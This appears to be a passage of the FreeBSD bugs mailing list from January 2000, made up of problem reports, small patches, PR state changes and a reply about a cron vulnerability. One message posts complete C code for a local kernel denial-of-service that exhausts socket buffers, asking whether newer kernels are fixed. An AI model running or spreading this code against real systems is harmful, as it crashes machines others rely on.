[165.247.133.64]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id QAA01993 for ; Sun, 2 Jan 2000 16:13:17 -0500 (EST) Received: (from bsd@localhost) by vger.foo.com (8.9.3/8.9.3) id QAA30819; Sun, 2 Jan 2000 16:10:33 -0500 (EST) (envelope-from bsd) Message-Id: <200001022110.QAA30819@vger.foo.com> Date: Sun, 2 Jan 2000 16:10:33 -0500 (EST) From: brdean@mindspring.com Reply-To: brdean@mindspring.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/15848: tip core dumps after transferring a file from local to remote Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15848 >Category: bin >Synopsis: tip core dumps after transferring a file from local to remote >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Jan 2 13:20:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Brian Scott Dean >Release: FreeBSD 4.0-CURRENT i386 >Organization: >Environment: FreeBSD vger.foo.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Wed Dec 29 23:30:55 EST 1999 bsd@vger.foo.com:/usr/src/sys/compile/VGER i386 Current sources as of December 23, 1999 >Description: tip core dumps after transferring a file from local to remote when no eof characters have been specified. The core dump is due to a NULL pointer dereference. >How-To-Repeat: 1) Use tip to connect to a remote system 2) Set the remote system to receive a file 3) Use the tip ~> command to initiate a file transfer 4) Enter a local filename to transfer >Fix: cvs diff: Diffing . Index: cmds.c =================================================================== RCS file: /usr02/mirror/ncvs/src/usr.bin/tip/tip/cmds.c,v retrieving revision 1.10 diff -u -r1.10 cmds.c --- cmds.c 1999/08/28 01:06:32 1.10 +++ cmds.c 2000/01/02 20:46:56 @@ -513,7 +513,7 @@ out: if (lastc != '\n' && !boolean(value(RAWFTP))) send('\r'); - for (pc = eofchars; *pc; pc++) + for (pc = eofchars; pc && *pc; pc++) send(*pc); stop_t = time(0); fclose(fd); >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 13:40: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id AEF3415143 for ; Sun, 2 Jan 2000 13:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id NAA66015; Sun, 2 Jan 2000 13:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Sun, 2 Jan 2000 13:40:01 -0800 (PST) Message-Id: <200001022140.NAA66015@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Brian Dean Subject: Re: bin/15847: tip core dumps after file transfer from local to remote Reply-To: Brian Dean Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15847; it has been noted by GNATS. From: Brian Dean To: FreeBSD-gnats-submit@FreeBSD.org, brdean@mindspring.com Cc: Subject: Re: bin/15847: tip core dumps after file transfer from local to remote Date: Sun, 02 Jan 2000 16:29:11 -0500 I accidentially submitted this twice (second one is pr bin/15848). A mailer problem on my end caused me to think the first one did not go in. Please disregard pr bin/15848. Thanks, -Brian -- Brian Dean brdean@mindspring.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 13:40: 6 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id CCD8A15164 for ; Sun, 2 Jan 2000 13:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id NAA66022; Sun, 2 Jan 2000 13:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Sun, 2 Jan 2000 13:40:02 -0800 (PST) Message-Id: <200001022140.NAA66022@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Brian Dean Subject: Re: bin/15848: tip core dumps after transferring a file from local to remote Reply-To: Brian Dean Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15848; it has been noted by GNATS. From: Brian Dean To: FreeBSD-gnats-submit@FreeBSD.org, brdean@mindspring.com Cc: Subject: Re: bin/15848: tip core dumps after transferring a file from local to remote Date: Sun, 02 Jan 2000 16:31:04 -0500 Please disregard this pr. An identical pr is bin/15847. A mailer problem on my end caused me to think the first one did not go in and I mistakenly submitted this second one. Thanks, -Brian -- Brian Dean brdean@mindspring.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 13:52:38 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id D7CAB14DF1; Sun, 2 Jan 2000 13:52:37 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id NAA66714; Sun, 2 Jan 2000 13:52:37 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Sun, 2 Jan 2000 13:52:37 -0800 (PST) From: Message-Id: <200001022152.NAA66714@freefall.freebsd.org> To: brdean@mindspring.com, steve@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/15848: tip core dumps after transferring a file from local to remote Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: tip core dumps after transferring a file from local to remote State-Changed-From-To: open->closed State-Changed-By: steve State-Changed-When: Sun Jan 2 13:52:20 PST 2000 State-Changed-Why: Duplicate of bin/15848. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 14:18:26 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from muschel.global-phun.net (muschel.Global-Phun.net [212.6.148.36]) by hub.freebsd.org (Postfix) with ESMTP id 71AF514D8B for ; Sun, 2 Jan 2000 14:18:23 -0800 (PST) (envelope-from op@pahl.net) Received: from localhost (op@localhost [127.0.0.1]) by muschel.global-phun.net (8.8.8/8.8.8) with ESMTP id XAA13199; Sun, 2 Jan 2000 23:13:55 +0100 Date: Sun, 2 Jan 2000 23:13:55 +0100 (MET) From: Ole Pahl X-Sender: op@muschel.global-phun.net To: Przemyslaw Frasunek Cc: freebsd-bugs@freebsd.org, bugtraq@securityfocus.com Subject: RE: Bug in recent versions of Vixie cron In-Reply-To: Message-ID: Organization: PAHL.NET Network Solutions MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 2 Jan 2000, Przemyslaw Frasunek wrote: > > This problem seems to be present in current versions of Vixie cron, e.g. > > those used in operating systems like FreeBSD 3.4-RC as well as certain > > Linux distributions such as SuSE Linux 6.2. > FreeBSD is and was NOT vulnerable to this problem. The person who tried to reproduce this problem on his FreeBSD machine just confirmed that he could not pass arbitrary commands to Sendmail using the MAILTO environment variable. However, Sendmail is still executed as root - that condition can't be exploited due to proper argument checking, though. For further replies, please make sure to remove BugTraq from the CC list in order to keep Aleph1 from being bothered - I think any further discussion on this issue is not relevant for BugTraq. Regards, Ole Pahl -- Ole Pahl Hamburg / Germany Fon: +49 40 7807 2601 PAHL.NET Network Solutions Mail: info@pahl.net Fax: +49 40 7807 2602 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 14:30: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 744AE14F4E for ; Sun, 2 Jan 2000 14:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id OAA68571; Sun, 2 Jan 2000 14:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Sun, 2 Jan 2000 14:30:02 -0800 (PST) Message-Id: <200001022230.OAA68571@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Matthew N. Dodd" Subject: Re: kern/15837: NIC: ex0: Intel EtherExpress Pro/10 stopped working Reply-To: "Matthew N. Dodd" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/15837; it has been noted by GNATS. From: "Matthew N. Dodd" To: riccardo@torrini.org Cc: freebsd-gnats-submit@FreeBSD.org Subject: Re: kern/15837: NIC: ex0: Intel EtherExpress Pro/10 stopped working Date: Sun, 2 Jan 2000 17:23:54 -0500 (EST) On Sun, 2 Jan 2000 riccardo@torrini.org wrote: > >How-To-Repeat: > Buy an Intel EtherExpress Pro/10, install it on a 4.0-CURRENT :-( Someone was going to ship me one but I haven't seen it yet. :/ -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 17:28:22 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5E4DD14BEA; Sun, 2 Jan 2000 17:28:20 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id RAA78792; Sun, 2 Jan 2000 17:28:20 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Sun, 2 Jan 2000 17:28:20 -0800 (PST) From: Message-Id: <200001030128.RAA78792@freefall.freebsd.org> To: steve@FreeBSD.org, gnats-admin@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: pending/15852: predefined \*(DT string has Y2K bug Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: predefined \*(DT string has Y2K bug Responsible-Changed-From-To: gnats-admin->freebsd-bugs Responsible-Changed-By: steve Responsible-Changed-When: Sun Jan 2 17:27:40 PST 2000 Responsible-Changed-Why: Misfiled PR. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 17:29: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 4446E14E41; Sun, 2 Jan 2000 17:29:03 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id RAA78888; Sun, 2 Jan 2000 17:28:58 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Sun, 2 Jan 2000 17:28:58 -0800 (PST) From: Message-Id: <200001030128.RAA78888@freefall.freebsd.org> To: steve@FreeBSD.org, gnats-admin@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: pending/15853: tar --newer-mtime flag has Y2K bug Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: tar --newer-mtime flag has Y2K bug Responsible-Changed-From-To: gnats-admin->freebsd-bugs Responsible-Changed-By: steve Responsible-Changed-When: Sun Jan 2 17:28:37 PST 2000 Responsible-Changed-Why: Misfiled PR. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 20:49:20 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from vaview5.vavu.vt.edu (vaview5.vavu.vt.edu [198.82.158.16]) by hub.freebsd.org (Postfix) with ESMTP id 7A70D15160 for ; Sun, 2 Jan 2000 20:49:17 -0800 (PST) (envelope-from dglynn@vaview5.vavu.vt.edu) Received: from vaview5.vavu.vt.edu (vaview5.vavu.vt.edu [198.82.158.16]) by vaview5.vavu.vt.edu (8.9.3/8.9.3) with ESMTP id XAA96186 for ; Sun, 2 Jan 2000 23:49:16 -0500 (EST) (envelope-from dglynn@vaview5.vavu.vt.edu) Date: Sun, 2 Jan 2000 23:49:16 -0500 (EST) From: Greg Lynn To: freebsd-bugs@freebsd.org Subject: buffer overflow.... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This code criples 2.2.7 and 2.2.8 but I haven't tested it on any 3.x stable kernels. Does anyone know if this has been fixed with 3.x kernels? The code is fairly old... #include #include #include #define BUFFERSIZE 204800 extern int main(void) { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } return(0); } -thanks, Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 3: 0: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 6A36614F39 for ; Mon, 3 Jan 2000 03:00:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA24464; Mon, 3 Jan 2000 03:00:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id CC6A01511C; Mon, 3 Jan 2000 02:50:16 -0800 (PST) Message-Id: <20000103105016.CC6A01511C@hub.freebsd.org> Date: Mon, 3 Jan 2000 02:50:16 -0800 (PST) From: spe@internetway.net To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: i386/15856: Bug in /stand/sysinstall on FreeBSD-3.4-RELEASE Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15856 >Category: i386 >Synopsis: Bug in /stand/sysinstall on FreeBSD-3.4-RELEASE >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 03:00:02 PST 2000 >Closed-Date: >Last-Modified: >Originator: Sebastien Petit >Release: FreeBSD-3.4-RELEASE >Organization: IntellNet/InternetWay >Environment: cannot because the bug appear in /stand/sysinstall after boot under floppy disks >Description: When I try to use Distributions/Custom OR Upgrade/Custom, /stand/sysinstall crashes with sigsegv (signal 11) I try to use options on 5 different PCs... and the problem is software. >How-To-Repeat: Use Upgrade/Custom on /stand/sysinstall with or without floppy disks boot. >Fix: correct the bug in /stand/sysinstall >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 5:10:28 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 43785151C4; Mon, 3 Jan 2000 05:10:27 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id FAA38439; Mon, 3 Jan 2000 05:10:27 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Mon, 3 Jan 2000 05:10:27 -0800 (PST) From: Message-Id: <200001031310.FAA38439@freefall.freebsd.org> To: steve@FreeBSD.org, gnats-admin@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: pending/15855: comsat(8) failes to open system mail box Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: comsat(8) failes to open system mail box Responsible-Changed-From-To: gnats-admin->freebsd-bugs Responsible-Changed-By: steve Responsible-Changed-When: Mon Jan 3 05:07:14 PST 2000 Responsible-Changed-Why: Misfiled PR. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 6:40: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id A59DF15305 for ; Mon, 3 Jan 2000 06:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id GAA85503; Mon, 3 Jan 2000 06:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 7F2F714EA2; Mon, 3 Jan 2000 06:31:44 -0800 (PST) Message-Id: <20000103143144.7F2F714EA2@hub.freebsd.org> Date: Mon, 3 Jan 2000 06:31:44 -0800 (PST) From: caa@columbus.rr.com To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: misc/15858: mmaping /dev/dsp does not return a valid pointer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15858 >Category: misc >Synopsis: mmaping /dev/dsp does not return a valid pointer >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 06:40:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Charles Anderson >Release: current >Organization: >Environment: FreeBSD midgard.dhs.org 4.0-CURRENT FreeBSD 4.0-CURRENT #1: Thu Dec 30 16:18:03 EST 1999 caa@midgard.dhs.org:/usr/src/sys/compile/MIDGARD i386 >Description: mmaping of /dev/dsp does not appear to work correctly gdb has this to say about what mmap returns $3 = ( unsigned char *) 0x280eb000 >How-To-Repeat: code was posted on the current & multimedia mailing lists under the subject mmaping /dev/dsp problems >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 8:20: 6 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id D958314D59 for ; Mon, 3 Jan 2000 08:20:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id IAA08651; Mon, 3 Jan 2000 08:20:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Mon, 3 Jan 2000 08:20:03 -0800 (PST) Message-Id: <200001031620.IAA08651@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Charles Anderson Subject: Re: misc/15858: mmaping /dev/dsp does not return a valid pointer Reply-To: Charles Anderson Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR misc/15858; it has been noted by GNATS. From: Charles Anderson To: FreeBSD-gnats-submit@FreeBSD.org, caa@columbus.rr.com Cc: Subject: Re: misc/15858: mmaping /dev/dsp does not return a valid pointer Date: Mon, 03 Jan 2000 11:11:19 -0500 In a complete brain fart I forgot to post some info that may be relevant. This is with a SB32PnP & newpcm, here is verbose output from the probe isa_probe_children: probing PnP devices sbc0: at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0 sbc0: setting card to irq 5, drq 1, 5 pcm0: on sbc0 pcm: setmap a000, 2000; 0xc7466000 -> a000 pcm: setmap c000, 2000; 0xc7468000 -> c000 unknown0: at port 0x168-0x16f,0x36e-0x36f irq 10 on isa0 unknown1: at port 0x620-0x623 on isa0 unknown: can't assign resources -Charlie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 9: 0:10 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5ED0C151DD for ; Mon, 3 Jan 2000 09:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA12556; Mon, 3 Jan 2000 09:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from kronos.alcnet.com (kronos.alcnet.com [63.69.28.22]) by hub.freebsd.org (Postfix) with ESMTP id D3DC11516C for ; Mon, 3 Jan 2000 08:58:14 -0800 (PST) (envelope-from kbyanc@kronos.alcnet.com) Received: (from kbyanc@localhost) by kronos.alcnet.com (8.9.3/8.9.3/antispam) id LAA12448; Mon, 3 Jan 2000 11:58:02 -0500 (EST) Message-Id: <200001031658.LAA12448@kronos.alcnet.com> Date: Mon, 3 Jan 2000 11:58:02 -0500 (EST) From: kbyanc@posi.net Reply-To: kbyanc@posi.net To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/15860: patch to make default kern.maxfilesperproc < kern.maxfiles Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15860 >Category: kern >Synopsis: patch to make default kern.maxfilesperproc < kern.maxfiles >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 09:00:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Kelly Yancey >Release: FreeBSD 3.2-STABLE i386 >Organization: >Environment: FreeBSD 3.2-STABLE i386 >Description: Kern.maxfilesperproc defaults to the same value as kern.maxfiles (MAXFILES in sys/conf/param.c). However, as noted in multiple threads on the -hackers mailing list this behaviour can cause a rogue process to runaway without root being able to kill it. Admittingly, this is purely the admin's fault for not setting limits, but there is no good reason to have the system default to a state that allows this to occur. >How-To-Repeat: >Fix: The simple patch below reduces the maxfilesperproc to initially be less than maxfiles. The number 20 was more or less pulled out of thin air and feel free to adjust it, so long as the change gets made. I picked twenty simply because it is less than the minimum value of MAXFILES (which is 2*NPROC which is 72 when MAXUSERS is 1) and should be enough for root to login and run ps/kill. - Kelly --- sys/conf/param.c.orig Mon Jan 3 11:34:59 2000 +++ sys/conf/param.c Mon Jan 3 11:38:44 2000 @@ -80,7 +80,7 @@ int maxproc = NPROC; /* maximum # of processes */ int maxprocperuid = NPROC-1; /* maximum # of processes per user */ int maxfiles = MAXFILES; /* system wide open files limit */ -int maxfilesperproc = MAXFILES; /* per-process open files limit */ +int maxfilesperproc = MAXFILES - 20; /* per-process open files limit */ int ncallout = 16 + NPROC + MAXFILES; /* maximum # of timer events */ /* maximum # of mbuf clusters */ >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 9:10:10 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id EBE4115328 for ; Mon, 3 Jan 2000 09:10:06 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA13720; Mon, 3 Jan 2000 09:10:06 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from mutu.sysopen.fi (sysopen.fi [192.130.39.11]) by hub.freebsd.org (Postfix) with ESMTP id E6DB214D68 for ; Mon, 3 Jan 2000 09:05:24 -0800 (PST) (envelope-from Jukka.Ukkonen@sysopen.fi) Received: from japaninahven.sysopen.fi ([192.68.39.177] helo=sysopen.fi) by mutu.sysopen.fi with esmtp (Exim 3.02 #7) id 125Axn-00022A-00 for FreeBSD-gnats-submit@freebsd.org; Mon, 03 Jan 2000 19:08:11 +0200 Message-Id: <3870E18E.4CF289E2@sysopen.fi> Date: Mon, 03 Jan 2000 19:51:10 +0200 From: Jukka Ukkonen Reply-To: jau@iki.fi To: FreeBSD Gnats Subject: bin/15861: ftpd did not use sendfile(2) when sending regular files Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15861 >Category: bin >Synopsis: ftpd did not use sendfile(2) when sending regular files >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 09:10:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Jukka A. Ukkonen >Release: FreeBSD 3.2-RELEASE i386 >Organization: Private person >Environment: FreeBSD 3.2-RELEASE i386 and the standard ftpd packaged with it. >Description: The ftpd could have performed better by using the sendfile(2) call instead of mmap(), read(), write(), and munmap() combination while sending out a regular file. >How-To-Repeat: Check the ftpd code for sending regular files to see what it does, and try it as it is and with sendfile() replacing the looping method using mmap(), read(), write(), and munmap() calls. >Fix: A tentative quick hack patch below. Modify it, if you think changes are needed. Otherwise: share and enjoy. ;-) --- ftpd.c.orig Sun May 2 12:35:30 1999 +++ ftpd.c Wed Dec 29 14:41:26 1999 @@ -1466,6 +1466,7 @@ filefd = fileno(instr); if (isreg && filesize < (off_t)16 * 1024 * 1024) { +#if 0 buf = mmap(0, filesize, PROT_READ, MAP_SHARED, filefd, (off_t)0); if (buf == MAP_FAILED) { @@ -1484,8 +1485,31 @@ transflag = 0; munmap(buf, (size_t)filesize); + if (cnt < 0) goto data_err; +#endif + off_t offset; + int fail; + + len = filesize; + offset = 0; + fail = 0; + + while (len && + ! (fail = sendfile (filefd, netfd, offset, len, + NULL, &cnt, 0))) { + len -= cnt; + offset += cnt; + } + + if (fail < 0) { + if (errno == EINVAL) + goto oldway; + + goto data_err; + } + reply(226, "Transfer complete."); return; } >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 9:53:54 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 74678152F8; Mon, 3 Jan 2000 09:53:52 -0800 (PST) (envelope-from shin@FreeBSD.org) Received: (from shin@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA17488; Mon, 3 Jan 2000 09:53:52 -0800 (PST) (envelope-from shin@FreeBSD.org) Date: Mon, 3 Jan 2000 09:53:52 -0800 (PST) From: Message-Id: <200001031753.JAA17488@freefall.freebsd.org> To: joe@pavilion.net, shin@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/15742: Laptop -current panics in in6_ifattach after suspend Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Laptop -current panics in in6_ifattach after suspend State-Changed-From-To: open->closed State-Changed-By: shin State-Changed-When: Mon Jan 3 09:51:31 PST 2000 State-Changed-Why: new patch to netinet6/in6.c is confirmed to fix this problem. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 10:46:32 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from fgwmail7.fujitsu.co.jp (fgwmail7.fujitsu.co.jp [192.51.44.37]) by hub.freebsd.org (Postfix) with ESMTP id C1C6E14D41 for ; Mon, 3 Jan 2000 10:46:29 -0800 (PST) (envelope-from shin@nd.net.fujitsu.co.jp) Received: from m3.gw.fujitsu.co.jp by fgwmail7.fujitsu.co.jp (8.9.3/3.7W-MX9912-Fujitsu Gateway) id DAA04770; Tue, 4 Jan 2000 03:46:24 +0900 (JST) (envelope-from shin@nd.net.fujitsu.co.jp) Received: from incapgw.fujitsu.co.jp by m3.gw.fujitsu.co.jp (8.9.3/3.7W-9912-Fujitsu Domain Master) id DAA07877; Tue, 4 Jan 2000 03:46:23 +0900 (JST) Received: from localhost ([192.168.245.53]) by incapgw.fujitsu.co.jp (8.9.3/3.7W-9912) id DAA26510; Tue, 4 Jan 2000 03:46:21 +0900 (JST) To: joe@pavilion.net Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15742: Laptop -current panics in in6_ifattach after suspend In-Reply-To: <20000102201557.C60369@florence.pavilion.net> References: <20000102124814.A24810@florence.pavilion.net> <20000103002949O.shin@nd.net.fujitsu.co.jp> <20000102201557.C60369@florence.pavilion.net> X-Mailer: Mew version 